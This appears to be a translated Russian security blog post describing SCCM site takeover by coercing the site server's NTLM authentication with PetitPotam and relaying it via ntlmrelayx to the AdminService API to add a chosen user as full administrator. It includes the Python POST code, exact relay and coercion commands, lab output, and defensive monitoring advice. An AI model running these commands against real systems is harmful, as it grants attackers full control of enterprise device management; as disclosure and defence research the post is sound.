Изучая службы SCCM, мы изучали различные методы доступа для извлечения или изменения данных, хранящихся в базе данных сайта SCCM. Как правило, ИТ-администраторы, управляющие SCCM, используют графический интерфейс консоли Configuration Manager, который подключается к поставщику SMS сайта. Поставщик SMS — это роль сервера SCCM, на которой размещается коллекция классов инструментария управления Windows (WMI), которые преобразуют запросы для доступа к данным, хранящимся на сервере базы данных сайта. В дополнение к WMI поставщик SMS также размещает API-интерфейс службы администрирования (AdminService). Оба используются консолью Configuration Manager, а также могут использоваться как автономные службы. Cегодня рассмотрим перехват сайта через SCCM AdminService API.
АдминСервис
AdminService API — это REST API, основанный на протоколе Open Data v4, который предоставляет аналогичный, но ограниченный административный доступ к данным сайта по сравнению с его аналогом WMI. В настоящее время для AdminService доступны два маршрута, показанные ниже.
https://target.siteserver.domain/AdminService/wmi/https://target.siteserver.domain/AdminService/v1.0/
По словам Microsoft, каждый маршрут предоставляет свою собственную функциональность:
Маршрут WMI поддерживает команды GET и POST для более чем 700 классов. [The] версионный маршрут (v1.0) поддерживает новые функции Configuration Manager.
Хотя через API доступно довольно много классов, он ограничен просто потому, что не каждый класс WMI из пространства имен SCCM интегрирован, а в некоторых случаях не все методы интегрированных классов работают из API. Несмотря на ограничения, SCCM использует API для нескольких функций и интеграций, таких как подключение клиента Microsoft Intune.
При переходе к одному из двух маршрутов пользователь получает следующий запрос на проверку подлинности, который показывает, что AdminService использует Microsoft Negotiate для проверки подлинности.
Запрос аутентификации API AdminService
Microsoft Negotiate поддерживает два протокола проверки подлинности: Kerberos и NTLM. Во время аутентификации Negotiate попытается использовать протокол Kerberos, за исключением случаев, когда аутентифицирующий клиент просто не поддерживает Kerberos или в запросе недостаточно информации для его поддержки. Если Kerberos терпит неудачу, Negotiate возвращается к NTLM, который, как известно, уязвим для злоупотреблений. В частности: ретрансляция учетных данных.
Имея это в виду, я начал разрабатывать гипотетические сценарии повышения привилегий, которые были сосредоточены на принудительной или принудительной аутентификации от пользователя-администратора SCCM к API. В конечном счете, хотя этот метод и осуществим, маловероятно, что он будет надежно успешным. Итак, я обратился к тому, как управляются разрешения для API.
SMS-провайдеры
Для каждого развертывания SCCM требуется как минимум одна роль поставщика SMS. При разработке иерархии сайта необходимо учитывать несколько соображений относительно того, как разместить поставщика SMS, и каждая конфигурация имеет свои плюсы и минусы. Варианты:
-
-
-
- Размещено на сервере сайта
- Размещено на сервере базы данных
- Самостоятельно удаленно
-
-
Еще одно соображение, которое следует учитывать, — это необходимость использования нескольких поставщиков SMS. В некоторых средах, например там, где требуется высокая доступность или сегментация, можно настроить более одного поставщика SMS для нескольких экземпляров консоли Configuration Manager для подключения. Ключевым выводом из этого является то, что все поставщики SMS на сайте используют одну и ту же базу данных сайта.
SMS-администраторы
Чтобы предоставить доступ к WMI и AdminService, SCCM создает локальную группу безопасности «Администраторы SMS» для каждого поставщика SMS в иерархии. Членством в этой группе управляет SCCM из таблицы RBAC_Admins, хранящейся в базе данных сайта. Когда пользователь с правами администратора добавляется или удаляется из роли в базе данных сайта, это изменение реплицируется на всех поставщиков SMS. Это, в свою очередь, соответствующим образом обновляет членство в локальной группе безопасности администраторов SMS. Кроме того, при просмотре документациипо этой группе обнаруживается дополнительный член по умолчанию.
По умолчанию учетная запись компьютера сервера сайта является членом группы администраторов SMS. Это может показаться знакомым, но уже продемонстрировал злоупотребление аналогичными конфигурациями по умолчанию, связанными с сервером сайта.
Класс SMS_Admin
Для управления членством этой группы в базе данных сайта пространство имен поставщика WMI использует класс SMS_Admin, полностью интегрированный с API AdminService. Работа с API сама по себе была приключением, так как доступной документации не так много, но после некоторых проб и ошибок (см.: догадки) мне удалось придумать синтаксис Python, чтобы сделать правильный запрос POST для метода SMS_Admin для API для добавления произвольного пользователя в качестве полного администратора.
---snipped---
headers = {'Content-Type': 'application/json; odata=verbose'}
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
body = {"LogonName": f"{targetuser}",
"AdminSid":f"{sid}",
"Permissions":[{"CategoryID": "SMS00ALL",
"CategoryTypeID": 29,
"RoleID":"SMS0001R",
},
{"CategoryID": "SMS00001",
"CategoryTypeID": 1,
"RoleID":"SMS0001R",
},
{"CategoryID": "SMS00004",
"CategoryTypeID": 1,
"RoleID":"SMS0001R",
}],
"DisplayName":f"{targetuser}"
}
url = f"https://{target}/AdminService/wmi/SMS_Admin/"
try:
r = requests.post(f"{url}",
auth=HttpNtlmAuth(username, password),
verify=False,headers=headers, json=body)
---snipped---
На данный момент все необходимые части для захвата сайта с помощью ретрансляции учетных данных были доступны.
Захват сайта
Подводя итог, можно сказать, что из-за членства сервера сайта по умолчанию в группе администраторов SMS прошедший проверку подлинности злоумышленник может принудительно выполнить проверку подлинности с сервера и передать эту проверку подлинности в API AdminService, размещенный на удаленном поставщике SMS, чтобы добавить произвольного пользователя в качестве полного администратора сайта. .
Чтобы использовать указанный выше путь атаки, злоумышленнику просто нужны действительные учетные данные домена и сетевое подключение к соответствующим ролям сервера. Однако существует предостережение: сервер сайта не может быть ретранслирован сам на себя. Если поставщик SMS не является удаленным или в иерархии не настроены дополнительные роли поставщика SMS, путь не существует.
Демо
Чтобы демонстрация была простой, лабораторная среда содержит сервер сайта, поставщика SMS и систему Kali Linux в качестве сервера ретрансляции. Кроме того, предполагается контроль над учетной записью целевого домена и знание идентификатора безопасности учетной записи (SID) для повышения привилегий.
Разбивка демо
1.На узле Kali настройте ntlmrelayx для работы с AdminService поставщика SMS и укажите значения флагов для имени входа, отображаемого имени и идентификатора объекта. Примечание: версия ntlmrelayx, используемая в демонстрации, в настоящее время является PR на момент публикации в этом блоге и была разработана с помощью Мэтта Крила.
ntlmrelayx.py -t https://provider.corp.contoso.com/AdminService/wmi/SMS_Admin
-smb2support --adminservice --logonname "CORP\lowpriv" --displayname
"CORP\lowpriv" --objectsid S-1-5-21-2541397155-1844004377-132384732-1602
2. Затем настройте PetitPotam.py или аналогичный инструмент для принудительной аутентификации с сервера основного сайта на сервер ретрансляции Kali.
python3 PetitPotam.py -u lowpriv -p "P@ssw0rd" 10.0.0.200 cm1.corp.contoso.com
3. Сервер ретрансляции получит входящее соединение и ретранслирует аутентификацию в API AdminService и добавит предоставленного пользователя в качестве администратора.
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.0.0.7,
attacking target https://provider.corp.contoso.com
[*] Exiting standard auth flow to add SCCM admin...
[*] Authenticating against https://provider.corp.contoso.com as CORP/CM1$
[*] Adding administrator via SCCM AdminService...
[*] SMBD-Thread-15 (process_request_thread): Received connection from 10.0.0.7,
attacking target https://provider.corp.contoso.com
[*] Exiting standard auth flow to add SCCM admin...
[*] Authenticating against https://provider.corp.contoso.com as CORP/CM1$
[*] Skipping user CM1$ since attack was already performed
[*] Server returned code 201, attack successful
4. Перейдите к postex в качестве администратора SCCM.
Оборонительные соображения
У Криса есть отличный ресурс, запущенный на SharpSCCM Wiki, для широкого обзора различных уязвимостей, связанных с SCCM.
Для этого пути конкретно вот несколько вариантов, которые, как мне кажется, могут помочь смягчить или обнаружить проблему:
- Отслеживайте изменения членства в группе для локальной группы безопасности «Администраторы SMS» на поставщиках SMS.- Событие 4732 — Участник был добавлен в локальную группу с включенной безопасностью.
2. При использовании нескольких удаленных консолей Configuration Manager рассмотрите возможность использования правил брандмауэра на основе хоста, чтобы предотвратить произвольный доступ к API AdminService.
3. Существуют дополнительные параметры для управления доступом к консоли Configuration Manager. К ним относятся использование PKI для проверки подлинности на основе сертификатов и поддержка с для бизнеса для MFA.
Заключение
Поставщик SMS предоставляет доступ к взаимодействию API по протоколу HTTPS, который называется службой администрирования. Служба администрирования представляет собой REST API на основе протокола Open Data (OData) версии 4.